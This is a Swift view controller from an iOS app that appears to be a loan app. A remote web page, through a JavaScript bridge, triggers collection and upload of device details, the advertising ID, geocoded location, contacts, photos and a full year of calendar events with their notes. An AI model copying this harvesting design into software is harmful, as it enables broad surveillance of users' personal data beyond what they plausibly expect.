//
//  HomeViewController.swift
//  MintBag
//
//  Created by wy on 2024/8/23.
//

import UIKit
import WebKit
import ContactsUI
import AppsFlyerLib
import CoreLocation
import EventKit

class HomeViewController: UIViewController {

    var webView: WKWebView!
    var locationManager: CLLocationManager!
    var isFront: Bool = false
    var deviceInfo: [String: Any] = [:]
    var baseInfo = LoanIosDeviceBaseInfo()
    var iosInfo = LoanIosDeviceIosInfo()
    var screen = LoanIosDeviceScreen()
    var storage = LoanIosDeviceStorage()
    var processInfo = LoanIosDeviceProcess()
    var isRequestLocationAuth = false
    
    override func viewDidLoad() {
        super.viewDidLoad()
        
        iosInfo.getData()
        screen.getData()
        storage.getData()
        processInfo.getData()
        deviceInfo["aaid"] = Const.idfa
        deviceInfo["osType"] = "ios"
        deviceInfo["iosInfo"] = iosInfo.toJson()
        deviceInfo["screen"] = screen.toJson()
        deviceInfo["storage"] = storage.toJson()
        deviceInfo["processInfo"] = processInfo.toJson()
        
        locationManager = CLLocationManager()
        locationManager.delegate = self
        locationManager.desiredAccuracy = kCLLocationAccuracyBest

        let config = WKWebViewConfiguration()
        let userContentController = WKUserContentController()
        userContentController.add(self, name: "bridge")
        config.userContentController = userContentController
        webView = WKWebView(frame: CGRect(x: 0, y: Const.statusBarHeight, width: Const.windowWidth, height: Const.windowHeight - Const.statusBarHeight), configuration: config)
        webView.navigationDelegate = self
        self.view.addSubview(webView)
        
//        if let url = URL(string: "http://121.41.164.237:9001/m/colombia-ios.html?appName=\(Const.appName)") {
        if let jsonString = KeychainStore.shared.string(forKey: .userInfo), let jsonData = jsonString.data(using: .utf8), let dictionary = try? JSONSerialization.jsonObject(with: jsonData, options: []) as? [String: Any], let homeUrl = dictionary["homeUrl"] as? String, let url = URL(string: "\(homeUrl)&appName=\(Const.appName)") {
            webView.load(URLRequest(url: url))
        }
    }
    
    func requestUploadImage(_ image: UIImage) {
        showLoading()
        Http.shared.requestUploadApi(.uploadImg, fileData: image.pngData()!, responseClosure: { [weak self] response in
            self?.hideLoading()
            if let self = self, (response["code"] as? Int) == 200 {
                let url = response["data"] as? String ?? ""
                self.callJSMethod(event: self.isFront ? .tackPhotoByFront : .tackPhotoByBack, data: [
                    "value": url
                ])
            }
        })
    }
        
    func callJSMethod(event: JSMethod, data: [String: Any], status: JSStatus = .success) {
        // 最后活跃时间
        deviceInfo["lastActiveTime"] = Int(Date().timeIntervalSince1970 * 1000)
        let data: [String: Any] = [
            "action": "invoke\(Const.appName)\(event.rawValue)",
            "id": event.id,
            "status": status.rawValue,
            "data": data
        ]
        do {
            let jsonData = try JSONSerialization.data(withJSONObject: data, options: .prettyPrinted)
            if let jsonString = String(data: jsonData, encoding: .utf8) {
                Async.main { [weak self] in
                    self?.callJS(msg: jsonString)
                }
            }
        } catch {
            print("Error converting dictionary to JSON: \(error.localizedDescription)")
        }
    }
    
    func callJS(msg: String) {
        let fun = "JS\(Const.appName)Callback(\(msg))"
        webView.evaluateJavaScript(fun) { (result, error) in
            if let error = error {
                print("Swift 调用 JS 失败: \(error)")
            } else {
                print("Swift 调用 JS 成功")
            }
        }
    }
    
    func reciveCallToJS(message: String) {
        if let jsonData = message.data(using: .utf8) {
            do {
                if let jsonDict = try JSONSerialization.jsonObject(with: jsonData, options: []) as? [String: Any], let method = jsonDict["action"] as? String, let name = NSString(string: method).components(separatedBy: Const.appName).last, let event = JSMethod(rawValue: name) {
                    let data = jsonDict["data"] as? [String: Any] ?? [:]
                    responseJSEvent(event, data: data)
                }
            } catch {
                print("Error converting JSON string to dictionary: \(error.localizedDescription)")
            }
        }
    }
    
    func responseJSEvent(_ event: JSMethod, data: [String: Any]) {
        switch event {
        case .userInfo:
            let userInfo = KeychainStore.shared.string(forKey: .userInfo) ?? ""
            var info: [String: Any] = [:]
            if !userInfo.isEmpty {
                if let jsonData = userInfo.data(using: .utf8) {
                    do {
                        if let dictionary = try JSONSerialization.jsonObject(with: jsonData, options: []) as? [String: Any] {
                            info = dictionary
                        }
                    } catch {
                    }
                }
            }
            info["phone"] = KeychainStore.shared.string(forKey: .userPhone) ?? ""
            var version = ""
            if let appVersion = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String {
                version = appVersion
            }
            callJSMethod(event: .userInfo, data: [
                "dev": "iOS",
                "version": version,
                "data": info
            ])
        case .signOut:
            Http.shared.requestApi(.logout) { response in
                if (response["code"] as? Int) == 200 {
                    KeychainStore.shared.remove(forKey: .sessionId)
                    KeychainStore.shared.remove(forKey: .userId)
                    KeychainStore.shared.remove(forKey: .userPhone)
                    KeychainStore.shared.remove(forKey: .userInfo)
                    NotificationCenter.default.post(name: NSNotification.Name(Const.loginStatusChanged), object: nil)
                }
            }
        case .deviceInfo:
            baseInfo.getData()
            // 数据收集时间
            deviceInfo["collectTime"] = Int(Date().timeIntervalSince1970 * 1000)
            if let ip = data["ip"] as? String {
                baseInfo.ip = ip
            }
            deviceInfo["deviceBaseInfo"] = baseInfo.toJson()
            callJSMethod(event: .deviceInfo, data: [:])
            Http.shared.requestApi(.uploadIosAuth(deviceInfo)) { response in
            }
            break
        case .calendarInfo:
            baseInfo.getData()
            deviceInfo["deviceBaseInfo"] = baseInfo.toJson()
            AuthTools.checkCalendarPermission { [weak self] status in
                if status == .authorized {
                    self?.getCalendarInfo()
                }else if status == .notApply {
                    AuthTools.applyCalendarAuth { status in
                        if status == .authorized {
                            self?.getCalendarInfo()
                        }else {
                            self?.callJSMethod(event: .calendarInfo, data: [:], status: .unAuth)
                        }
                    }
                }else {
                    self?.callJSMethod(event: .calendarInfo, data: [:], status: .unAuth)
                    self?.showSettingAlert()
                }
            }
        case .selectContact:
            AuthTools.checkContactsPermission { status in
                if status == .authorized || status == .notApply {
                    if status == .notApply {
                        AuthTools.applyContactsAuth { [weak self] status in
                            if status == .authorized {
                                let contactPicker = CNContactPickerViewController()
                                contactPicker.delegate = self
                                self?.present(contactPicker, animated: true, completion: nil)
                            }else {
                                self?.callJSMethod(event: .calendarInfo, data: [:], status: .unAuth)
                            }
                        }
                    }else {
                        let contactPicker = CNContactPickerViewController()
                        contactPicker.delegate = self
                        present(contactPicker, animated: true, completion: nil)
                    }
                }else {
                    callJSMethod(event: .selectContact, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .appsFlyer:
            let eventName = data["eventName"] as? String ?? ""
            AppsFlyerLib.shared().logEvent(eventName, withValues: data);
        case .tackPhotoByFront:
            isFront = true
            AuthTools.checkCameraPermission { status in
                if status == .authorized || status == .notApply {
                    PhotoTools.shared.selectPhoto(true, vc: self) { [weak self] image in
                        self?.requestUploadImage(image)
                    }
                }else {
                    callJSMethod(event: .tackPhotoByFront, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .tackPhotoByBack:
            isFront = false
            AuthTools.checkCameraPermission { status in
                if status == .authorized || status == .notApply {
                    PhotoTools.shared.selectPhoto(false, vc: self) { [weak self] image in
                        self?.requestUploadImage(image)
                    }
                }else {
                    callJSMethod(event: .tackPhotoByBack, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
        case .forwardOutside:
            if let urlStr = data["value"] as? String, let url = URL(string: urlStr) {
                let vc = InnerWebViewController()
                vc.url = url
                navigationController?.pushViewController(vc, animated: true)
            }
        case .openBrowser:
            if let urlStr = data["value"] as? String, let url = URL(string: urlStr) {
                UIApplication.shared.open(url)
            }
        case .copyClip:
            let str = data["value"] as? String ?? ""
            UIPasteboard.general.string = str
            showToast("Copy success!")
            break
        case .appServiceTime:
            break
        case .locationInfo:
            AuthTools.checkLocationPermission { status in
                if status == .authorized || status == .notApply {
                    if status == .notApply {
                        isRequestLocationAuth = true
                    }
                    locationManager.requestWhenInUseAuthorization()
                    locationManager.startUpdatingLocation()
                }else {
                    callJSMethod(event: .locationInfo, data: [:], status: .unAuth)
                    showSettingAlert()
                }
            }
            break
        }
    }
    
    func getCalendarInfo() {
        let eventStore = EKEventStore()
        let startDate = Date()
        let endDate = Calendar.current.date(byAdding: .day, value: 365, to: startDate)!
        // 获取用户的日历
        let calendars = eventStore.calendars(for: .event)
        // 创建谓词来查询指定日期范围内的事件
        let predicate = eventStore.predicateForEvents(withStart: startDate, end: endDate, calendars: calendars)
        let events = eventStore.events(matching: predicate)
        let datas = events.map({
            [
                "create_time": $0.creationDate?.timeIntervalSince1970 ?? "",
                "calendar_id": $0.calendar.calendarIdentifier,
                "organizer": $0.organizer?.name ?? "",
                "event_location": $0.location ?? "",
                "description": $0.notes ?? "",
                "title": $0.title ?? "",
                "dt_end": $0.startDate.timeIntervalSince1970,
                "dt_start": $0.endDate.timeIntervalSince1970,
                // 值为1 表示此事件占用一整天，值为0表示它是常规事件，可 在一天内的任何时间开始和结束
                "all_day": $0.isAllDay ? 1 : 0,
                // 事件的重复发生规则格式
                "r_rule": $0.recurrenceRules?.first?.description ?? "",
                // RFC5545格式的事件持续时间。例如：值为“PT1H”表示事件 应持续一小时，值为‘P2W’
                "duration": "",
                // 事件的重复发生日期  yyyy-MM-dd
                "r_date": "",
            ]
        })
        // 数据收集时间
        deviceInfo["collectTime"] = Int(Date().timeIntervalSince1970 * 1000)
        callJSMethod(event: .calendarInfo, data: [:])
        Http.shared.requestApi(.uploadIosAuth(nil, calendarList: datas)) { response in
        }
    }
    
    func showSettingAlert() {
        let alert = UIAlertController(title: nil, message: "Permission has been disabled. Do you want to go to the settings to enable permission？", preferredStyle: .alert)
        alert.addAction(UIAlertAction(title: "Go set it up", style: .default, handler: { _ in
            if let setting = URL(string: UIApplication.openSettingsURLString) {
                UIApplication.shared.open(setting, options: [:], completionHandler: nil)
            }
        }))
        alert.addAction(UIAlertAction(title: "Cancel", style: .cancel, handler: nil))
        present(alert, animated: true)
    }

    override func viewWillAppear(_ animated: Bool) {
        super.viewWillAppear(animated)
        navigationController?.setNavigationBarHidden(true, animated: false)
    }
    
    override func viewWillDisappear(_ animated: Bool) {
        super.viewWillDisappear(animated)
        navigationController?.setNavigationBarHidden(false, animated: false)
    }
    
}

extension HomeViewController: WKScriptMessageHandler, WKNavigationDelegate {
    // MARK: - WKScriptMessageHandler - 处理来自 JS 的消息
    func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
        if message.name == "bridge" {
            if let messageBody = message.body as? String {
                reciveCallToJS(message: messageBody)
            }
        }
    }
}

extension HomeViewController: CNContactPickerDelegate {
    func contactPicker(_ picker: CNContactPickerViewController, didSelect contact: CNContact) {
        print(contact)
        let phone = contact.phoneNumbers.map({ $0.value.stringValue }).first ?? ""
        let name = CNContactFormatter.string(from: contact, style: .fullName) ?? ""
        callJSMethod(event: .selectContact, data: [
            "mobile": phone,
            "name": name
        ])
    }
}

extension HomeViewController: CLLocationManagerDelegate {
    func locationManager(_ manager: CLLocationManager, didUpdateLocations locations: [CLLocation]) {
        if let location = locations.first {
            let geocoder = CLGeocoder()
            geocoder.reverseGeocodeLocation(location) { [weak self] (placemarks, error) in
                guard let self = self else { return }
                if let error = error {
                    print("反向地理编码失败: \(error.localizedDescription)")
                    return
                }
                if let placemarks = placemarks, let placemark = placemarks.first {
                    let info = [
                        "latitude": location.coordinate.latitude,
                        "longitude": location.coordinate.longitude,
                        "accuracy": kCLLocationAccuracyBest.description,
                        "time": "\(Int(Date().timeIntervalSince1970 * 1000))",
                        "addressObject": [
                            "countryName": placemark.country,
                            "countryCode": placemark.isoCountryCode,
                            "adminArea": placemark.administrativeArea,
                            "locality": placemark.locality,
                            "subAdminArea": placemark.subAdministrativeArea ?? "",
                            "featureName": placemark.thoroughfare
                        ]
                    ]
                    self.baseInfo.getData()
                    self.deviceInfo["deviceBaseInfo"] = self.baseInfo.toJson()
                    // 数据收集时间
                    self.deviceInfo["collectTime"] = Int(Date().timeIntervalSince1970 * 1000)
                    Http.shared.requestApi(.uploadIosAuth(nil, location: info)) { response in
                    }
                }
            }
            callJSMethod(event: .locationInfo, data: [:])
            locationManager.stopUpdatingLocation()
        }
    }

    func locationManager(_ manager: CLLocationManager, didFailWithError error: Error) {
        if !isRequestLocationAuth {
            callJSMethod(event: .locationInfo, data: [:], status: .unAuth)
        }
        isRequestLocationAuth = false
    }
}

extension UIViewController {
    
    func hideLoading() {
        for v in view.subviews {
            if v.isKind(of: LoadingView.self) {
                (v as! LoadingView).indicator.stopAnimating()
                v.removeFromSuperview()
            }
        }
    }
    
    func showLoading() {
        hideLoading()

        let v = LoadingView(frame: UIScreen.main.bounds)
        view.addSubview(v)
    }
        
    func showToast(_ title: String) {
        hideLoading()
        
        let bgView = UIView(frame: UIScreen.main.bounds)
        bgView.backgroundColor = .clear
        view.addSubview(bgView)
        
        let w: CGFloat = 250
        let size = calculationStringSize(content: title, font: UIFont.systemFont(ofSize: 14), maxSize: CGSizeMake(250, 100))
        let height = max(50, size.height + 20)
        let x = (UIScreen.main.bounds.size.width - w - 20) / 2
        let y = (UIScreen.main.bounds.size.height - height - 20) / 2

        let aplhaView = UIView(frame: CGRect(x: x, y: y, width: 250, height: height))
        aplhaView.backgroundColor = .black
        aplhaView.layer.cornerRadius = 6
        view.addSubview(aplhaView)

        let label = UILabel(frame: aplhaView.bounds)
        label.text = title
        label.font = UIFont.systemFont(ofSize: 14)
        label.textAlignment = .center
        label.textColor = .white
        aplhaView.addSubview(label)
        
        Async.main(after: 2) {
            bgView.removeFromSuperview()
            aplhaView.removeFromSuperview()
            label.removeFromSuperview()
        }
    }
    
    func calculationStringSize(content: String, font: UIFont, maxSize: CGSize) -> CGSize {
        let style = [NSAttributedString.Key.font: font]
        let ct: NSString = content as NSString
        let size = ct.boundingRect(with: maxSize, options: [.usesLineFragmentOrigin, .usesFontLeading], attributes: style, context: nil).size
        let returnSize = CGSize(width: ceil(size.width), height: ceil(size.height))
        return returnSize
    }

}

class LoadingView: UIView {
    
    override init(frame: CGRect) {
        super.init(frame: frame)
        backgroundColor = .black
        layer.cornerRadius = 12
        
        createUI()
    }
    
    required init?(coder: NSCoder) {
        fatalError("init(coder:) has not been implemented")
    }
    
    func createUI() {
        let bgView = UIView(frame: self.bounds)
        bgView.backgroundColor = .clear
        addSubview(bgView)

        addSubview(indicator)
        Async.main(after: 0.1) { [weak self] in
            self?.indicator.startAnimating()
        }
    }
    
    lazy var indicator: UIActivityIndicatorView = {
        let v = UIActivityIndicatorView(style: .whiteLarge)
        v.frame = CGRect(origin: CGPoint(x: (Const.windowWidth - 100)/2, y: (Const.windowHeight-100)/2), size: CGSize(width: 100, height: 100));
        
        return v
    }()
    
}
